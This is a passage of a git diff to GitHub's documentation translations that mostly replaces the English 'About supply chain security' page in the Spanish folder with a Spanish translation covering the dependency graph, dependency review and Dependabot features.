![Show more button](/assets/images/help/security-overview/security-overview-show-more-button.png) {% data reusables.organizations.filter-security-overview %} -{% ifversion security-overview-views %} +{% ifversion security-overview-alert-views %} {% data reusables.organizations.security-overview-feature-specific-page %} - ![Screenshot of the code scanning-specific page](/assets/images/help/organizations/security-overview-code-scanning-alerts.png) + ![Screenshot of the code scanning-specific page](/assets/images/help/security-overview/security-overview-code-scanning-alerts.png) +{% endif %} -## Viewing alerts across your organization - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. In the security sidebar, select the subset of alerts you want to view. -![View alert subset](/assets/images/help/organizations/view-alert-subset.png) -2. Optionally, filter the list of alerts. Each view has its own selection of available filters. You can click multiple filters in the drop-down filter menus to narrow your search. You can also type search qualifiers in the search field. For more information about the available qualifiers, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)." - ![The drop-down filter menus and Search repositories field in the secret scanning view](/assets/images/help/organizations/secret-scanning-filter-alerts.png) +{% endif %} {% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} -## Viewing the security overview for an enterprise +## Viewing the security overviews for an enterprise {% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} 1. In the left sidebar, click {% octicon "shield" aria-label="The shield icon" %} **Code Security**. {% ifversion security-overview-feature-specific-alert-page %} {% data reusables.organizations.security-overview-feature-specific-page %} {% endif %} -{% endif %} - -## Viewing alerts for a repository - -{% data reusables.repositories.navigate-to-repo %} -1. Under your repository name, click **Security**. - ![Repository security tab](/assets/images/help/repository/security-tab.png) -2. In the security sidebar, select the view you want to open. - ![Repository view alert subset](/assets/images/help/repository/repo-security-side-panel.png) -3. Optionally, filter the list of alerts. Each view has its own selection of available filters. You can click multiple filters in the drop-down filter menus to narrow your search. You can also type search qualifiers in the search field. For more information about the available qualifiers, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)." - ![Drop down filter menus in the repository secret scanning alerts view](/assets/images/help/repository/repo-code-scanning-filter-and-search.png) {% endif %} +{% ifversion ghes < 3.7 or ghae < 3.7 %} ## Viewing the security overview for a team {% data reusables.profile.access_org %} @@ -72,3 +69,4 @@ shortTitle: View the security overview {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-security-overview %} {% data reusables.organizations.filter-security-overview %} +{% endif %} \ No newline at end of file diff --git a/translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md b/translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md index 8e83dd646e..01e15aabed 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md +++ b/translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md @@ -1,6 +1,6 @@ --- -title: About supply chain security -intro: '{% data variables.product.product_name %} helps you secure your supply chain, from understanding the dependencies in your environment, to knowing about vulnerabilities in those dependencies{% ifversion fpt or ghec or ghes %}, and patching them{% endif %}.' +title: Acerca de la seguridad de la cadena de suministro +intro: '{% data variables.product.product_name %} te ayuda a proteger la cadena de suministro, desde comprender las dependencias de tu entorno a conocer las vulnerabilidades de dichas dependencias {% ifversion fpt or ghec or ghes %} y aplicarles revisiones{% endif %}.' miniTocMaxHeadingLevel: 3 shortTitle: Supply chain security redirect_from: @@ -19,154 +19,151 @@ topics: - Dependencies - Pull requests - Repositories +ms.openlocfilehash: 7c059876a27969b4664d5c8d94dec357a135c2de +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106505' --- +## Acerca de la seguridad de la cadena de suministro en GitHub -## About supply chain security at GitHub +Con el uso acelerado del código abierto, la mayoría de los proyectos dependen de cientos de dependencias de código abierto. Esto plantea un problema de seguridad: ¿qué ocurre si las dependencias que usa son vulnerables? Podría poner a los usuarios en riesgo de un ataque de cadena de suministro. Una de las cosas más importantes que puedes hacer para proteger la cadena de suministro es revisar las dependencias vulnerables{% ifversion GH-advisory-db-supports-malware %} y reemplazar cualquier malware{% endif %}. -With the accelerated use of open source, most projects depend on hundreds of open-source dependencies. This poses a security problem: what if the dependencies you're using are vulnerable? You could be putting your users at risk of a supply chain attack. One of the most important things you can do to protect your supply chain is to patch your vulnerable dependencies{% ifversion GH-advisory-db-supports-malware %} and replace any malware{% endif %}. +Las dependencias se agregan directamente a la cadena de suministro cuando se especifican en un archivo de manifiesto o en un archivo de bloqueo. Las dependencias también se pueden incluir de forma transitiva, es decir, incluso si no especifica una dependencia concreta, pero se usa en una dependencia propia, también dependerá de esa dependencia. -You add dependencies directly to your supply chain when you specify them in a manifest file or a lockfile. Dependencies can also be included transitively, that is, even if you don’t specify a particular dependency, but a dependency of yours uses it, then you’re also dependent on that dependency. +{% data variables.product.product_name %} ofrece diversas características para ayudarte a comprender las dependencias del entorno{% ifversion ghae %} y conocer las vulnerabilidades de esas dependencias{% endif %}{% ifversion fpt or ghec or ghes %}, conocer las vulnerabilidades de esas dependencias y aplicarles revisiones{% endif %}. -{% data variables.product.product_name %} offers a range of features to help you understand the dependencies in your environment{% ifversion ghae %} and know about vulnerabilities in those dependencies{% endif %}{% ifversion fpt or ghec or ghes %}, know about vulnerabilities in those dependencies, and patch them{% endif %}. - -The supply chain features on {% data variables.product.product_name %} are: -- **Dependency graph** -- **Dependency review** -- **{% data variables.product.prodname_dependabot_alerts %} ** -{% ifversion fpt or ghec or ghes %}- **{% data variables.product.prodname_dependabot_updates %}** +Las características de la cadena de suministro en {% data variables.product.product_name %} son las siguientes: +- **Gráfica de dependencias** +- **Revisión de dependencias** +- **{% data variables.product.prodname_dependabot_alerts %} ** {% ifversion fpt or ghec or ghes %}- **{% data variables.product.prodname_dependabot_updates %}** - **{% data variables.product.prodname_dependabot_security_updates %}** - - **{% data variables.product.prodname_dependabot_version_updates %}**{% endif %} + - **{% data variables.product.prodname_dependabot_version_updates %}** {% endif %} -The dependency graph is central to supply chain security. The dependency graph identifies all upstream dependencies and public downstream dependents of a repository or package. You can see your repository’s dependencies and some of their properties, like vulnerability information, on the dependency graph for the repository. +El gráfico de dependencias es fundamental para la seguridad de la cadena de suministro. En el gráfico de dependencias se identifican todas las dependencias ascendentes y las dependencias descendentes públicas de un repositorio o paquete. En el gráfico de dependencias del repositorio puede ver las dependencias del repositorio y algunas de sus propiedades, como la información de vulnerabilidad. -Other supply chain features on {% data variables.product.prodname_dotcom %} rely on the information provided by the dependency graph. +Otras características de la cadena de suministro de {% data variables.product.prodname_dotcom %} dependen de la información proporcionada por el gráfico de dependencias. -- Dependency review uses the dependency graph to identify dependency changes and help you understand the security impact of these changes when you review pull requests. -- {% data variables.product.prodname_dependabot %} cross-references dependency data provided by the dependency graph with the list of advisories published in the {% data variables.product.prodname_advisory_database %}, scans your dependencies and generates {% data variables.product.prodname_dependabot_alerts %} when a potential vulnerability {% ifversion GH-advisory-db-supports-malware %}or malware{% endif %} is detected. -{% ifversion fpt or ghec or ghes %}- {% data variables.product.prodname_dependabot_security_updates %} use the dependency graph and {% data variables.product.prodname_dependabot_alerts %} to help you update dependencies with known vulnerabilities in your repository. +- La revisión de dependencias usa el gráfico de dependencias para identificar los cambios de dependencias y ayudarle a comprender el impacto en la seguridad de estos cambios al revisar solicitudes de incorporación de cambios. +- {% data variables.product.prodname_dependabot %} realiza referencias cruzadas entre los datos de dependencia proporcionados por el gráfico de dependencias y la lista de avisos publicados en {% data variables.product.prodname_advisory_database %}, examina las dependencias y genera {% data variables.product.prodname_dependabot_alerts %} cuando se detecta una vulnerabilidad posible {% ifversion GH-advisory-db-supports-malware %}o malware{% endif %}. +{% ifversion fpt or ghec or ghes %}- Las {% data variables.product.prodname_dependabot_security_updates %} usan el gráfico de dependencias y {% data variables.product.prodname_dependabot_alerts %} para ayudarte a actualizar las dependencias con vulnerabilidades conocidas en el repositorio. -{% data variables.product.prodname_dependabot_version_updates %} don't use the dependency graph and rely on the semantic versioning of dependencies instead. {% data variables.product.prodname_dependabot_version_updates %} help you keep your dependencies updated, even when they don’t have any vulnerabilities. +{% data variables.product.prodname_dependabot_version_updates %} no usan el gráfico de dependencias y en su lugar se basan en el control de versiones semántico de las dependencias. {% data variables.product.prodname_dependabot_version_updates %} ayudan a mantener actualizadas las dependencias, incluso cuando no tienen ninguna vulnerabilidad. {% endif %} -{% ifversion fpt or ghec or ghes %} -For best practice guides on end-to-end supply chain security including the protection of personal accounts, code, and build processes, see "[Securing your end-to-end supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)." +{% ifversion fpt or ghec or ghes %} Para obtener guías de procedimientos recomendados sobre la seguridad de la cadena de suministro de un extremo a otro, incluida la protección de cuentas personales, código y procesos de compilación, consulta "[Protección de la cadena de suministro de un extremo a otro](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)". {% endif %} -## Feature overview +## Introducción a las características -### What is the dependency graph +### Qué es el gráfico de dependencias -To generate the dependency graph, {% data variables.product.company_short %} looks at a repository’s explicit dependencies declared in the manifest and lockfiles. When enabled, the dependency graph automatically parses all known package manifest files in the repository, and uses this to construct a graph with known dependency names and versions. +Para generar el gráfico de dependencias, {% data variables.product.company_short %} examina las dependencias explícitas de un repositorio declaradas en el manifiesto y los archivos de bloqueo. Cuando se habilita, el gráfico de dependencias analiza automáticamente todos los archivos de manifiesto de paquete conocidos del repositorio y los usa para construir un gráfico con versiones y nombres de dependencia conocidos. -- The dependency graph includes information on your _direct_ dependencies and _transitive_ dependencies. -- The dependency graph is automatically updated when you push a commit to {% data variables.product.company_short %} that changes or adds a supported manifest or lock file to the default branch, and when anyone pushes a change to the repository of one of your dependencies. -- You can see the dependency graph by opening the repository's main page on {% data variables.product.product_name %}, and navigating to the **Insights** tab. +- El gráfico de dependencias incluye información sobre las dependencias _directas_ y las _transitivas_. +- El gráfico de dependencias se actualiza automáticamente al insertar una confirmación en {% data variables.product.company_short %} que cambia o agrega un archivo de manifiesto o de bloqueo admitido a la rama predeterminada y cuando alguien inserta un cambio en el repositorio de una de las dependencias. +- Para ver el gráfico de dependencias, abra la página principal del repositorio en {% data variables.product.product_name %} y vaya a la pestaña **Conclusiones**. -{% ifversion dependency-submission-api %} -{% data reusables.dependency-submission.dependency-submission-link %} -{% endif %} +{% ifversion dependency-submission-api %} {% data reusables.dependency-submission.dependency-submission-link %} {% endif %} -For more information about the dependency graph, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." +Para más información sobre el gráfico de dependencias, vea "[Acerca del gráfico de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)". -### What is dependency review +### Qué es la revisión de dependencias -Dependency review helps reviewers and contributors understand dependency changes and their security impact in every pull request. +La revisión de dependencias ayuda a los revisores y colaboradores a comprender los cambios de dependencia y su impacto en la seguridad en cada solicitud de incorporación de cambios. -- Dependency review tells you which dependencies were added, removed, or updated, in a pull request. You can use the release dates, popularity of dependencies, and vulnerability information to help you decide whether to accept the change. -- You can see the dependency review for a pull request by showing the rich diff on the **Files Changed** tab. +- La revisión de dependencias indica qué dependencias se han agregado, quitado o actualizado en una solicitud de incorporación de cambios. Puede usar las fechas de lanzamiento, la popularidad de las dependencias y la información de vulnerabilidad para ayudarle a decidir si quiere aceptar el cambio. +- Puede ver la revisión de dependencias de una solicitud de incorporación de cambios si muestra la diferencia enriquecida en la pestaña **Archivos cambiados**. -For more information about dependency review, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)." +Para más información sobre la revisión de dependencias, vea "[Acerca de la revisión de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)". -### What is Dependabot +### Qué es Dependabot -{% data variables.product.prodname_dependabot %} keeps your dependencies up to date by informing you of any security vulnerabilities in your dependencies{% ifversion fpt or ghec or ghes %}, and automatically opens pull requests to upgrade your dependencies to the next available secure version when a {% data variables.product.prodname_dependabot %} alert is triggered, or to the latest version when a release is published{% else %} so that you can update that dependency{% endif %}. +{% data variables.product.prodname_dependabot %} mantiene actualizadas las dependencias para lo cual te informa de cualquier vulnerabilidad de seguridad en ellas{% ifversion fpt or ghec or ghes %}, y abre solicitudes de incorporación de cambios de forma automática para actualizar las dependencias a la siguiente versión segura disponible cuando se desencadena una alerta de {% data variables.product.prodname_dependabot %}, o bien a la versión más reciente cuando se publica una versión{% else %} para que puedas actualizar esa dependencia.{% endif %}. -{% ifversion fpt or ghec or ghes %} -The term "{% data variables.product.prodname_dependabot %}" encompasses the following features: -- {% data variables.product.prodname_dependabot_alerts %}—Displayed notification on the **Security** tab for the repository, and in the repository's dependency graph. The alert includes a link to the affected file in the project, and information about a fixed version. +{% ifversion fpt or ghec or ghes %} El término "{% data variables.product.prodname_dependabot %}" abarca las características siguientes: +- {% data variables.product.prodname_dependabot_alerts %}: notificación mostrada en la pestaña **Seguridad** y en el gráfico de dependencias del repositorio. La alerta incluye un enlace al archivo afectado en el proyecto e información acerca de la versión arreglada. - {% data variables.product.prodname_dependabot_updates %}: - - {% data variables.product.prodname_dependabot_security_updates %}—Triggered updates to upgrade your dependencies to a secure version when an alert is triggered. - - {% data variables.product.prodname_dependabot_version_updates %}—Scheduled updates to keep your dependencies up to date with the latest version. + - {% data variables.product.prodname_dependabot_security_updates %}: actualizaciones desencadenadas para actualizar las dependencias a una versión segura cuando se desencadena una alerta. + - {% data variables.product.prodname_dependabot_version_updates %}: actualizaciones programadas para mantener actualizadas las dependencias con la versión más reciente. {% endif %} {% ifversion fpt or ghec %} -{% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}, and {% data variables.product.prodname_dependabot_version_updates %} do not use {% data variables.product.prodname_actions %} when they run on {% data variables.product.product_name %}. However, pull requests opened by {% data variables.product.prodname_dependabot %} can trigger workflows that run actions. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions)." +Las {% data variables.product.prodname_dependabot_alerts %}, las {% data variables.product.prodname_dependabot_security_updates %} y las {% data variables.product.prodname_dependabot_version_updates %} no usan {% data variables.product.prodname_actions %} cuando se ejecutan en {% data variables.product.product_name %}. Sin embargo, las solicitudes de incorporación de cambios que {% data variables.product.prodname_dependabot %} abre pueden desencadenar flujos de trabajo que ejecutan acciones. Para obtener más información, consulte "[Automatización de {% data variables.product.prodname_dependabot %} con {% data variables.product.prodname_actions %}](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions)". {% elsif ghes %} -{% data variables.product.prodname_dependabot_security_updates %} and {% data variables.product.prodname_dependabot_version_updates %} require {% data variables.product.prodname_actions %} to run on {% data variables.product.product_name %}. {% data variables.product.prodname_dependabot_alerts %} do not require {% data variables.product.prodname_actions %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +Las {% data variables.product.prodname_dependabot_security_updates %} y las {% data variables.product.prodname_dependabot_version_updates %} requieren que {% data variables.product.prodname_actions %} se ejecute en {% data variables.product.product_name %}. Las {% data variables.product.prodname_dependabot_alerts %} no necesitan {% data variables.product.prodname_actions %}. Para obtener más información, consulte "[Habilitación de {% data variables.product.prodname_dependabot %} para la empresa](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)". {% elsif ghae %} -{% data variables.product.prodname_actions %} is not required for {% data variables.product.prodname_dependabot_alerts %} to run on {% data variables.product.product_name %}. +{% data variables.product.prodname_actions %} no es necesario para que las {% data variables.product.prodname_dependabot_alerts %} se ejecuten en {% data variables.product.product_name %}. {% endif %} -#### What are Dependabot alerts +#### Qué son las alertas de Dependabot -{% data variables.product.prodname_dependabot_alerts %} highlight repositories affected by a newly discovered vulnerability based on the dependency graph and the {% data variables.product.prodname_advisory_database %}, which contains advisories for known vulnerabilities{% ifversion GH-advisory-db-supports-malware %} and malware{% endif %}. +{% data variables.product.prodname_dependabot_alerts %} resalta los repositorios afectados por una vulnerabilidad recién detectada en función del gráfico de dependencias y {% data variables.product.prodname_advisory_database %}, que contiene los avisos para las vulnerabilidades conocidas{% ifversion GH-advisory-db-supports-malware %} y el malware{% endif %}. -- {% data variables.product.prodname_dependabot %} performs a scan to detect insecure dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when: -{% ifversion fpt or ghec %} - - A new advisory is added to the {% data variables.product.prodname_advisory_database %}.{% else %} - - New advisory data is synchronized to {% data variables.location.product_location %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} - - The dependency graph for the repository changes. -- {% data variables.product.prodname_dependabot_alerts %} are displayed {% ifversion fpt or ghec or ghes %} on the **Security** tab for the repository and{% endif %} in the repository's dependency graph. The alert includes {% ifversion fpt or ghec or ghes %}a link to the affected file in the project, and {% endif %}information about a fixed version. +- {% data variables.product.prodname_dependabot %} realiza un examen para detectar las dependencias no seguras y envía {% data variables.product.prodname_dependabot_alerts %} cuando: {% ifversion fpt or ghec %} + - Se agrega un aviso nuevo a {% data variables.product.prodname_advisory_database %}.{% else %} + - Se sincronizan nuevos datos de aviso en {% data variables.location.product_location %} cada hora desde {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} + - Cambia el gráfico de dependencias del repositorio. +- {% data variables.product.prodname_dependabot_alerts %} se muestran {% ifversion fpt or ghec or ghes %} en la pestaña **Seguridad** del repositorio y{% endif %} en el gráfico de dependencias del repositorio. La alerta incluye {% ifversion fpt or ghec or ghes %}un vínculo al archivo afectado en el proyecto e {% endif %}información sobre una versión fija. -For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)." +Para más información, vea "[Acerca de {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies)". {% ifversion fpt or ghec or ghes %} -#### What are Dependabot updates +#### Qué son las actualizaciones de Dependabot -There are two types of {% data variables.product.prodname_dependabot_updates %}: {% data variables.product.prodname_dependabot %} _security_ updates and _version_ updates. {% data variables.product.prodname_dependabot %} generates automatic pull requests to update your dependencies in both cases, but there are several differences. +Hay dos tipos de {% data variables.product.prodname_dependabot_updates %}: actualizaciones de _seguridad_ y de _versión_ de {% data variables.product.prodname_dependabot %}. En los dos casos {% data variables.product.prodname_dependabot %} genera solicitudes de incorporación de cambios automáticas para actualizar las dependencias, pero hay varias diferencias. {% data variables.product.prodname_dependabot_security_updates %}: - - Triggered by a {% data variables.product.prodname_dependabot %} alert - - Update dependencies to the minimum version that resolves a known vulnerability - - Supported for ecosystems the dependency graph supports - - Does not require a configuration file, but you can use one to override the default behavior + - Desencadenada por una alerta de {% data variables.product.prodname_dependabot %} + - Actualizan las dependencias a la versión mínima que resuelve una vulnerabilidad conocida + - Compatible con ecosistemas admitidos en el gráfico de dependencias + - No requiere un archivo de configuración, pero puedes usar uno para invalidar el comportamiento predeterminado. {% data variables.product.prodname_dependabot_version_updates %}: - - Requires a configuration file - - Run on a schedule you configure - - Update dependencies to the latest version that matches the configuration - - Supported for a different group of ecosystems + - Requiere un archivo de configuración + - Se ejecutan según una programación que configure + - Actualizan las dependencias a la versión más reciente que coincida con la configuración + - Compatible con un grupo diferente de ecosistemas -For more information about {% data variables.product.prodname_dependabot_updates %}, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)" and "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)." +Para más información sobre {% data variables.product.prodname_dependabot_updates %}, vea "[Acerca de {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)" y "[Acerca de {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates)". {% endif %} -## Feature availability +## Disponibilidad de características {% ifversion fpt or ghec %} -Public repositories: -- **Dependency graph**—enabled by default and cannot be disabled. -- **Dependency review**—enabled by default and cannot be disabled. -- **{% data variables.product.prodname_dependabot_alerts %}**—not enabled by default. {% data variables.product.prodname_dotcom %} detects insecure dependencies and displays information in the dependency graph, but does not generate {% data variables.product.prodname_dependabot_alerts %} by default. Repository owners or people with admin access can enable {% data variables.product.prodname_dependabot_alerts %}. - You can also enable or disable Dependabot alerts for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)." +Repositorios públicos: +- **Gráfico de dependencias**: habilitado de forma predeterminada y no se puede deshabilitar. +- **Revisión de dependencias**: habilitada de forma predeterminada y no se puede deshabilitar. +- **{% data variables.product.prodname_dependabot_alerts %}** : no está habilitado de forma predeterminada. {% data variables.product.prodname_dotcom %} detecta las dependencias no seguras y muestra información en el gráfico de dependencias, pero no genera {% data variables.product.prodname_dependabot_alerts %} de forma predeterminada. Los propietarios de repositorios o los usuarios con acceso administrativo pueden habilitar las {% data variables.product.prodname_dependabot_alerts %}. + También puede habilitar o deshabilitar las alertas de Dependabot para todos los repositorios que pertenecen a la cuenta de usuario u organización. Para más información, vea "[Administración de la configuración de seguridad y análisis de la cuenta de usuario](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" o "[Administración de la configuración de seguridad y análisis para la organización](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)". -Private repositories: -- **Dependency graph**—not enabled by default. The feature can be enabled by repository administrators. For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)." +Repositorios privados: +- **Gráfico de dependencias**: no está habilitado de forma predeterminada. Los administradores del repositorio pueden habilitar la característica. Para más información, vea "[Exploración de las dependencias de un repositorio](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)". {% ifversion fpt %} -- **Dependency review**—available in private repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). +- **Revisión de dependencias**: disponible en los repositorios privados propiedad de las organizaciones que usan {% data variables.product.prodname_ghe_cloud %} y que tienen una licencia para {% data variables.product.prodname_GH_advanced_security %}. Para más información, vea la [documentación de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). {% elsif ghec %} -- **Dependency review**—available in private repositories owned by organizations provided you have a license for {% data variables.product.prodname_GH_advanced_security %} and the dependency graph enabled. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" and "[Exploring the dependencies of a repository](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)." -{% endif %} -- **{% data variables.product.prodname_dependabot_alerts %}**—not enabled by default. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories. - You can also enable or disable Dependabot alerts for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)." +- **Revisión de dependencias**: disponible repositorios privados propiedad de las organizaciones, siempre que tenga una licencia para {% data variables.product.prodname_GH_advanced_security %} y haya habilitado el gráfico de dependencias. Para más información, vea "[Acerca de {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" y "[Exploración de las dependencias de un repositorio](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)". {% endif %} +- **{% data variables.product.prodname_dependabot_alerts %}** : no está habilitado de forma predeterminada. Los propietarios de los repositorios privados o las personas con acceso administrativo puede habilitar las {% data variables.product.prodname_dependabot_alerts %} si habilitan la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %} para sus repositorios. + También puede habilitar o deshabilitar las alertas de Dependabot para todos los repositorios que pertenecen a la cuenta de usuario u organización. Para más información, vea "[Administración de la configuración de seguridad y análisis de la cuenta de usuario](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" o "[Administración de la configuración de seguridad y análisis para la organización](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)". -Any repository type: -- **{% data variables.product.prodname_dependabot_security_updates %}**—not enabled by default. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For information about enabling security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)." -- **{% data variables.product.prodname_dependabot_version_updates %}**—not enabled by default. People with write permissions to a repository can enable {% data variables.product.prodname_dependabot_version_updates %}. For information about enabling version updates, see "[Configuring {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)." +Cualquier tipo de repositorio: +- **{% data variables.product.prodname_dependabot_security_updates %}** : no está habilitado de forma predeterminada. Puedes habilitar las {% data variables.product.prodname_dependabot_security_updates %} para cualquier repositorio que utilice {% data variables.product.prodname_dependabot_alerts %} y la gráfica de dependencias. Para obtener información sobre cómo habilitar las actualizaciones de seguridad, vea "[Configuración de {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)". +- **{% data variables.product.prodname_dependabot_version_updates %}** : no está habilitado de forma predeterminada. Las personas con permisos de escritura en un repositorio pueden habilitar las {% data variables.product.prodname_dependabot_version_updates %}. Para obtener información sobre cómo habilitar las actualizaciones de versiones, consulta "[Configuración de {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)". {% endif %} {% ifversion ghes or ghae %} -- **Dependency graph** and **{% data variables.product.prodname_dependabot_alerts %}**—not enabled by default. Both features are configured at an enterprise level by the enterprise owner. For more information, see {% ifversion ghes %}"[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)" and {% endif %}"[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." -- **Dependency review**—available when dependency graph is enabled for {% data variables.location.product_location %} and {% data variables.product.prodname_advanced_security %} is enabled for the organization or repository. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)." -{% endif %} -{% ifversion ghes %} -- **{% data variables.product.prodname_dependabot_security_updates %}**—not enabled by default. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For information about enabling security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)." -- **{% data variables.product.prodname_dependabot_version_updates %}**—not enabled by default. People with write permissions to a repository can enable {% data variables.product.prodname_dependabot_version_updates %}. For information about enabling version updates, see "[Configuring {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)." +- **Gráfico de dependencias** y **{% data variables.product.prodname_dependabot_alerts %}** : no están habilitados de forma predeterminada. El propietario de la empresa configura las dos características en un nivel empresarial. Para más información, vea {% ifversion ghes %}"[Habilitación del gráfico de dependencias para la empresa](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)" y {% endif %}"[Habilitación de {% data variables.product.prodname_dependabot %} para la empresa](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)". +- **Revisión de dependencias**: disponible cuando se habilita el gráfico de dependencias para {% data variables.location.product_location %} y se habilita {% data variables.product.prodname_advanced_security %} para la organización o el repositorio. Para más información, consulte "[Acerca de {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)". +{% endif %} {% ifversion ghes %} +- **{% data variables.product.prodname_dependabot_security_updates %}** : no está habilitado de forma predeterminada. Puedes habilitar las {% data variables.product.prodname_dependabot_security_updates %} para cualquier repositorio que utilice {% data variables.product.prodname_dependabot_alerts %} y la gráfica de dependencias. Para obtener información sobre cómo habilitar las actualizaciones de seguridad, vea "[Configuración de {% 